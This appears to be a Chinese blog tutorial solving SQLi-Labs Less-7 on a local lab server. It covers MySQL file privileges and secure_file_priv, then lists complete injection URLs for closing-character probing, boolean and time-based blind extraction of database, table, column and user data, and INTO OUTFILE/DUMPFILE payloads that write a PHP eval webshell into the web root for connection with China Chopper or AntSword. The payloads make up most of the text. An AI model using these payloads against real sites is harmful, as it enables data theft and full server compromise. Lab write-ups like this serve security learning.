SqliLab_Mysql_Injection详解_字符型注入(四)_布尔盲注/高权限注入(7)

1. SqliLab_Mysql_Injection详解_字符型注入(四)
1.1. SQL注入_布尔盲注/Mysql高权限注入-文件读写into outfile()/into dumpfile()/load_file()
1.1.1. 原理
  • Mysql数据库可以导入或者导出文件,通过添加恶意代码到导出文件中(如写入webshell),并生成到指定目录下,达到上传恶意文件到服务器上的目的(如菜刀或者蚁剑连接导出文件中的一句话木马等);
  • 在高版本的Mysql中添加了一个新的特性secure_file_priv,该选项限制了导入、导出文件的权限;
  • into outfile()/into dumpfile()用于文件的写入,load_file()用于读取文件;(必须要有MySQL的FILE权限才能执行SELECT… INTO语句)
    outfile函数可以导出多行,而dumpfile只能导出一行数据;outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式;
1.1.2. 条件
  • 当前连接用户Mysql账户(current_user())具有 File_priv 权限;
  • secure_file_priv变量的设置,没有限制文件的导入和导出;
  • 清楚网站根目录的绝对路径,且Mysql服务所属用户(默认为mysql)对根目录具有可写权限;

secure_file_priv选项:

  • 限制mysql,不允许导入 | 导出;
    –secure_file_prive=null
  • 限制mysqld的导入 | 导出,只能发生在/tmp/目录下;
    –secure_file_priv=/tmp/
  • secure_file_priv的值没有具体值时,表示不对mysql的导入、导出,做限制;
    –secure_file_priv=

修改该配置的位置:

linuxwin
cat /etc/my.cnf [mysqld] secure_file_priv=my.ini [mysqld] secure_file_priv=

Mysql查看secure_file_priv状态(没有设置其值为null)

> select @@global.secure_file_priv;
----------------------------------------
> show global variables like '%secure%';

在这里插入图片描述
在这里插入图片描述

2. SqliLab关卡(包含7)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
2.1. SqliLab-7(高权限注入/盲注(’))闭合)):
2.1.1. 初始界面

在这里插入图片描述

2.1.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看到‘id’为输入参数,所以构造判断注入点链接;
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断;
EG:

> http://192.168.1.104/sql/Less-7/?id=1 and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1 and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用(')代替()进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1' and 1=1 --+
  //服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1" and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1" and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用('')代替(")进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1'' and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1'' and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用('")代替('')进行构造; 
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1'" and 1=1 --+
  //服务器返回页面错误(预期正确),尝试用("')代替('")进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1"' and 1=1 --+
  //服务器返回页面错误(预期正确),尝试用("")代替("')进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1"" and 1=1 --+ 
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1"" and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用('))代替("")进行构造; 
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1') and 1=1 --+
  //服务器返回页面错误(预期正确),尝试用("))代替('))进行构造; 
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1") and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1") and 1=2 --+
  //服务器返回页面正确(预期错误),尝试用()')代替("))进行构造; 
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1)' and 1=1 --+
  //服务器返回页面错误(预期正确),尝试用()")代替()')进行构造;    
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1)" and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1)" and 1=2 --+     
  //服务器返回页面正确(预期错误),尝试用(')))代替(')))进行构造; 
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1')) and 1=1 --+
  //服务器返回页面正确(预期正确),尝试用(and 1=2)进行构造;
------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1')) and 1=2 --+
  //服务器返回页面错误(预期错误),判断出参数‘id’存在注入,闭合字符为【'))】;

在这里插入图片描述
在这里插入图片描述
由此,判断出参数‘id’存在注入(or/xor一样),闭合字符为【’))】;
在注入点判断过程中,可以发现,服务器在接受请求后,返回的页面存在无回显和无报错提示的情况,这时候如果再利用UNION联合查询法查看显位以及报错注入的方式就失效了,只能基于SQL语句的True or False进行盲注了(布尔盲注或者基于时间的盲注),一般盲注流程(AD.WN:SqliLab_Mysql_Injection详解_字符型注入(三))有详细的介绍,这里只是简单提一下,主要还是后面的高权限注入-文件读写注入;

2.1.3. 收集信息

由于不存在服务器返回页面回显情况,只能使用盲注的方式获取想要的信息;
EG:
布尔盲注(使用left(),length(),ascii(),substr()/substring(), 构造链接;):

> http://192.168.1.104/sql/Less-7/?id=1')) and left(version(),1)='5' --+
  //返回mysql版本的第一个字符,已查询到为(5);
------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1')) and length(user())='5' --+
  //返回数据库当前用户名的长度,已查询到为(5);
------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1')) and ascii(substr(@@datadir,1,1))='71' --+
  //返回数据库安装路径的第一个字符的ASCII值,已查询到为(71),转换字符为(G);
------------------------------------------------------------------------------------
  ...

查询到一些数据库信息如,数据库版本,用户,数据库安装路径等;
EG:
时间盲注(使用left(),length(),ascii(),substr()/substring(),if(),sleep() 构造链接;)(简单提一下):

> http://192.168.1.104/sql/Less-7/?id=1')) and if(left(version(),1)='5',sleep(5),1) --+
  //返回mysql版本的第一个字符,已查询到为(5);
---------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1')) and if(length(user())='5',sleep(5),1) --+
  //返回数据库当前用户名的长度,已查询到为(5);
---------------------------------------------------------------------------------------------------
> http://192.168.1.104/sql/Less-7/?id=1')) and if(ascii(substr(@@datadir,1,1))='71',sleep(5),1) --+
  //返回数据库安装路径的第一个字符的ASCII值,已查询到为(71),转换字符为(G);
---------------------------------------------------------------------------------------------------
  ...

查询到一些数据库信息如,数据库版本,用户,数据库安装路径等;

2.1.4. 求当前数据库名(字符或者ASCII值)

使用left()函数(求字符)(a~z,A~Z)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个))(65~122),得到ASCII值再转换成字符;
求字符:
EG:

> http://192.168.1.104/sql/Less-7/?id=1')) and left(database(),1)='s'--+
  //返回当前数据库名的第一个字符,已查询到为(s);
  ----------------------------------------------------------------------
  ...

查询到当前数据库名的值为(security);
求ASCII值:
EG:

> http://192.168.1.104/sql/Less-7/?id=1')) and ascii(substr(database(),1,1))='115'--+
  //返回当前数据库名的第一个字符的ASCII值,已查询到为(115),转换字符为(s);
-------------------------------------------------------------------------------------
  ...

依次得到数据库名的字符的ASCII值为(115,101,99,117,114,105,116,121)转换字符为(security);

2.1.5. 求当前数据库中表的数量

使用count()函数求数据库中的表的数量;
EG:

> http://192.168.1.104/sql/Less-7/?id=1')) and (select count(table_name) from information_schema.tables 
  where table_schema=database())=4--+
  //返回当前数据库中表的数量,已查询到为(4);
-------------------------------------------------------------------------------------------------------

当前数据库中表的数量为(4);

2.1.6. 求当前数据库中的各个表的长度

使用length()函数判断数据库中表的长度,使用limit来选择要判断的表;
EG:

> http://192.168.1.104/sql/Less-7/?id=1')) and length((select table_name from information_schema.tables 
  where table_schema=database() limit 0,1))=6 --+
  // 返回当前数据库中的第一个表的长度,已查询到为(6);
-------------------------------------------------------------------------------------------------------
  ...

查询到当前数据库‘security’中的各个表的长度依次为(6,8,7,5);

2.1.7. 求当前数据库中的各个表的表名(字符或者ASCII值)

使用left()函数(求字符)(a~z,A~Z)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个))(65~122),得到ASCII值再转换成字符;
求字符:
EG:

> http://192.168.1.104/sql/Less-7/?id=1')) and left((select table_name from information_schema.tables 
  where table_schema=database() limit 0,1),1)='e' --+ 
  //返回当前数据库中的第一个表的表名的第一个字符;已查询到为(e);
-----------------------------------------------------------------------------------------------------
  ...

查询到‘security’数据库四个表的表名分别为(emails,referers,uagents,users);
求ASCII值:
EG:

> http://192.168.1.104/sql/Less-7/?id=1')) and ascii(substr((select table_name from information_schema.tables 
  where table_schema=database() limit 0,1),1,1))=101 --+
-------------------------------------------------------------------------------------------------------------
  //返回当前数据库中的第一个表的表名的第一个字符的ASCII值;已查询到为(101)转换字符为(e);
  ...

查询到‘security’数据库四个表的表名分别为(emails,referers,uagents,users);

2.1.8. 求‘users’表中的字段数量

使用count()函数求‘users’表中的字段的数量;
EG:

> http://192.168.1.104/sql/Less-7/?id=1')) and (select count(column_name) from information_schema.columns 
  where table_name='users')=3--+
  //返回‘users’表中的字段数量,已查询到为(3);

查询到users’表中的字段数量为(3);

2.1.9. 求‘users’表中的各个字段的长度

使用length()函数判断数据库中表的长度,使用limit来选择要判断的表;
EG:

> http://192.168.1.104/sql/Less-7/?id=1')) and length((select column_name from information_schema.columns 
  where table_name='users' limit 0,1))=2 --+
  //返回‘users’表的第一个字段的长度,已查询到为(2);
---------------------------------------------------------------------------------------------------------
  ...

查询到‘users’表中的各个字段的长度依次为(2,8,8);

2.1.10. 求‘users’表中的各个字段的值(字符或者ASCII值)

使用left()函数(求字符)(a~z,A~Z)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个))(65~122),得到ASCII值再转换成字符;
求ASCII值:
EG:

> http://192.168.1.104/sql/Less-7/?id=1')) and ascii(substr((select column_name from information_schema.columns 
  where table_name='users' limit 0,1),1,1))=105 --+  
  //返回‘users’表的第一个字段的第一个字符的ASCII值,已查询到为(105),转换字符为(i);
---------------------------------------------------------------------------------------------------------------
  ...

查询到‘users’表中的三个字段的值依次为(id,username,password);

2.1.11. 求‘users’表中的各个字段的值的信息(字符或者ASCII值)

使用left()函数(求字符)(a~z,A~Z,0~9)或者用ascii()函数和substr(string,start,len)/substring(string,start,len) 函数(求ASCII值(共128个)),得到ASCII值再转换成字符;
求‘users’表中的第一个字段‘id’的第一条信息;
求ASCII值:
EG:

> http://192.168.1.104/sql/Less-7/?id=1')) and ascii(substr((select id from users limit 0,1),1,1))=49--+
  //返回‘users’表的第一个字段‘id’的第一条信息的第一个字符的ASCII值,已查询到为(49),转换为字符为(1);
 --------------------------------------------------------------------------------------------------------
  ...

同理对于字段(username,password)的值信息也是采取一样的方式进行查询,查询其他的值也是同上面的方法一致;到此,SQL注入(布尔盲注)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,但是本篇最重要的内容现在才开始;
在这里插入图片描述
输入id正确后,服务器返回页面有明显的提示,可以尝试使用outfile进行注入,但要满足上述的三个条件;
**第一个条件:**当前连接用户Mysql账户(current_user())具有 File_priv 权限;
EG:

> http://192.168.1.104/sql/Less-7/?id=1')) union select 1,2,(select count(*) from mysql.user )>0--+
  //服务器返回页面正确,当前用户能够执行mysql.user表的权限(测试用的root用户。。。);

在这里插入图片描述
**第二个条件:**secure_file_priv变量的设置,没有限制文件的导入和导出(值不为null);
EG:

> select @@global.secure_file_priv;
  //查看@@secure_file_priv变量值;
----------------------------------------
> show global variables like '%secure%';
  //查看@@secure_file_priv变量值;

在这里插入图片描述
在这里插入图片描述
@@secure_file_priv变量值不为null;
**第三个条件:**清楚网站根目录的绝对路径;
EG:

> http://192.168.1.104/sql/Less-7/?id=1')) and ascii(substr(@@datadir,1,1))='71' --+
  //返回数据库安装路径的第一个字符的ASCII值,已查询到为(71),转换字符为(G);
------------------------------------------------------------------------------------
  ...

得到数据库安装路径为(G:\Phpstudy\MySQL\data\),可以判断服务器网站使用的是phpstudy搭配的环境,由此网站根目录猜测是(G:\Phpstudy\www\),结合URL地址,可以猜测到现在所处服务器文件位置为(G:\Phpstudy\www\sql\Less-7\);
EG:
使用into outfile()尝试写入经典一句话("<?php @eval($_POST['cms']); ?>);

> http://192.168.1.104/sql/Less-7/?id=1')) and (('1'))=(('2')) union select 0x7c,"<?php @eval($_POST['cms']); ?>",
  0x7c into outfile "G:/Phpstudy/WWW/sql/Less-7/1.php" --+
  //可以用工具连接一句话的方式来判断写入是否成功

EG:
使用into dumpfile()尝试写入经典一句话("<?php @eval($_POST['cms']); ?>);

> http://192.168.1.104/sql/Less-7/?id=1')) and (('1'))=(('2')) union select 0x7c,"<?php @eval($_POST['cms']); ?>",
  0x7c into dumpfile "G:/Phpstudy/WWW/sql/Less-7/2.php" --+
  //可以用工具连接一句话的方式来判断写入是否成功

服务器被写入文件:
在这里插入图片描述在这里插入图片描述
可以用工具连接一句话的方式来判断写入是否成功如菜刀,蚁剑等:
在这里插入图片描述
使用成功连接上一句话,说明此次文件写入成功,文件注入的过程到此结束,SqliLab-7结束;

3. 总结

经过上面的注入操作后,不难发现,在整个注入的过程中,判断注入点的时候是最为困难的,找到了注入点和闭合字符,后面的操作都是固定的模式了(构造的payload都是在添加注入点参数的闭合字符有所不同,其他都是相同的),只是采用注入的方式有所不同而已,而且在判断注入点的时候根据规律,可以编写脚本来进行判断(改变闭合字符的组合方式),这样可以极大的减少注入点判断时间和提高效率,最后有关文件注入,都是在特定的条件下才能进行,而且大都是在SQL注入的后期才会尝试的操作,不过这种操作一旦成功,对服务器的后续危害更大。

[如有错误,请指出,拜托了<( _ _ )> !!!]

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值